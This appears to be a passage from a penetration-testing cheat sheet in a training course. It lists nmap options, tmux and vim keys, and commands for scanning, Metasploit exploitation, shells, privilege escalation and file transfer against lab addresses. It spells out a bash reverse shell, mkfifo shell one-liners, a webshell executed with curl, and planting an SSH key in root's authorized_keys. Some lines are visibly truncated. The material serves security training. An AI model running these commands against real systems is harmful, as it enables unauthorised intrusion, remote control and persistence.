-O Performs an OS Detection Scan to determine the OS of the target.
-A Performs OS Detection, Service Detection, and traceroute scans.
-D RND:5 Sets the number of random Decoys that will be used to scan the target.
-e Specifies the network interface that is used for the scan.
-S 10.10.10.200 Specifies the source IP address for the scan.
-g Specifies the source port for the scan.
--dns-server DNS resolution is performed by using a specified name server.

Output Options

Nmap Option Description
-oA filename Stores the results in all available formats starting with the name of "filename".
-oN filename Stores the results in normal format with the name "filename".
-oG filename Stores the results in "grepable" format with the name of "filename".
-oX filename Stores the results in XML format with the name of "filename".

Performance Options

Nmap Option Description
--max-retries Sets the number of retries for scans of specific ports.
--stats-every=5s Displays scan's status every 5 seconds.
-v/-vv Displays verbose output during the scan.
--initial-rtt-timeout 50ms Sets the specified time value as initial RTT timeout.
--max-rtt-timeout 100ms Sets the specified time value as maximum RTT timeout.
--min-rate 300 Sets the number of packets that will be sent simultaneously.
-T <0-5> Specifies the specific timing template.

Pentesting Cheatsheet

When engaging in cybersecurity activities, such as penetration testing or vulnerability assessment, having a comprehensive toolkit of commands and scripts is essential. The following list provides a collection of commonly used commands across various stages of a cybersecurity engagement, including service scanning, web enumeration, exploiting public vulnerabilities, managing shells, escalating privileges, and transferring files. These commands are crucial for identifying potential vulnerabilities, exploiting them, and maintaining access to systems. They cover tools like nmap for network scanning, gobuster for web directory enumeration, Metasploit for exploiting known vulnerabilities, and netcat for establishing reverse shells. Additionally, they include methods for privilege escalation and file transfer, which are vital for post-exploitation activities. By mastering these commands, cybersecurity professionals can efficiently navigate and analyze systems to identify and address security weaknesses.

Basic Tools

Command Description
sudo openvpn user.ovpn Connect to VPN
ifconfig/ip a Show our IP address
netstat -rn Show networks accessible via the VPN
ssh user@10.10.10.10 SSH to a remote server
ftp 10.129.42.253 FTP to a remote server
tmux
tmux Start tmux
ctrl+b tmux: default prefix
prefix c tmux: new window
prefix 1 tmux: switch to window (1)
prefix shift+% tmux: split pane vertically
prefix shift+" tmux: split pane horizontally
prefix -> tmux: switch to the right pane
Vim
vim file vim: open file with vim
esc+i vim: enter insert mode
esc vim: back to normal mode
x vim: Cut character
dw vim: Cut word
dd vim: Cut full line
yw vim: Copy word
yy vim: Copy full line
p vim: Paste
:1 vim: Go to line number 1.
:w vim: Write the file 'i.e. save'
:q vim: Quit
:q! vim: Quit without saving
:wq vim: Write and quit

Pentesting

Command Description
Service Scanning
nmap 10.129.42.253 Run nmap on an IP
nmap -sV -sC -p- 10.129.42.253 Run an nmap script scan on an IP
locate scripts/citrix List various available nmap scripts
nmap --script smb-os-discovery.nse -p445 10.10.10.40 Run an nmap script on an IP
netcat 10.10.10.10 22 Grab banner of an open port
smbclient -N -L \\10.129.42.253 List SMB Shares
smbclient \\10.129.42.253\users Connect to an SMB share
snmpwalk -v 2c -c public 10.129.42.253 1.3.6.1.2.1.1.5.0 Scan SNMP on an IP
onesixtyone -c dict.txt 10.129.42.254 Brute force SNMP secret string
Web Enumeration
gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt Run a directory scan on a website
gobuster dns -d inlanefreight.com -w /usr/share/SecLists/Discovery/DNS/namelist.txt Run a sub-domain scan on a website
curl -IL https://www.inlanefreight.com Grab website banner
whatweb 10.10.10.121 List details about the webserver/certificates
curl 10.10.10.121/robots.txt List potential directories in robots.txt
ctrl+U View page source (in Firefox)
Public Exploits
searchsploit openssh 7.2 Search for public exploits for a web application
msfconsole MSF: Start the Metasploit Framework
search exploit eternalblue MSF: Search for public exploits in MSF
use exploit/windows/smb/ms17_010_psexec MSF: Start using an MSF module
show options MSF: Show required options for an MSF module
set RHOSTS 10.10.10.40 MSF: Set a value for an MSF module option
check MSF: Test if the target server is vulnerable
exploit MSF: Run the exploit on the target server is vulnerable
Using Shells
nc -lvnp 1234 Start a nc listener on a local port
bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1' Send a reverse shell from the remote server
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f /bin/sh -i 2>&1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f /bin/bash -i 2>&1
nc 10.10.10.1 1234 Connect to a bind shell started on the remote server
python -c 'import pty; pty.spawn("/bin/bash")' Upgrade shell TTY (1)
ctrl+z then stty raw -echo then fg then enter twice Upgrade shell TTY (2)
echo "" > /var/www/html/shell.php Create a webshell php file
curl http://SERVER_IP:PORT/shell.php?cmd=id Execute a command on an uploaded webshell
Privilege Escalation
./linpeas.sh Run linpeas script to enumerate remote server
sudo -l List available sudo privileges
sudo -u user /bin/echo Hello World! Run a command with sudo
sudo su - Switch to root user (if we have access to sudo su)
sudo su user - Switch to a user (if we have access to sudo su)
ssh-keygen -f key Create a new SSH key
echo "ssh-rsa AAAAB...SNIP...M= user@parrot" >> /root/.ssh/authorized_keys Add the generated public key to the user
ssh root@10.10.10.10 -i key SSH to the server with the generated private key
Transferring Files
python3 -m http.server 8000 Start a local webserver
wget http://10.10.14.1:8000/linpeas.sh Download a file on the remote server from our local machine
curl http://10.10.14.1:8000/linenum.sh -o linenum.sh Download a file on the remote server from our local machine
scp linenum.sh user@remotehost:/tmp/linenum.sh Transfer a file to the remote server with scp (requires SSH access)
base64 shell -w 0 Convert a file to base64
echo f0VMR...SNIO...InmDwU base64 -d > shell
md5sum shell Check the file's md5sum to ensure it converted correctly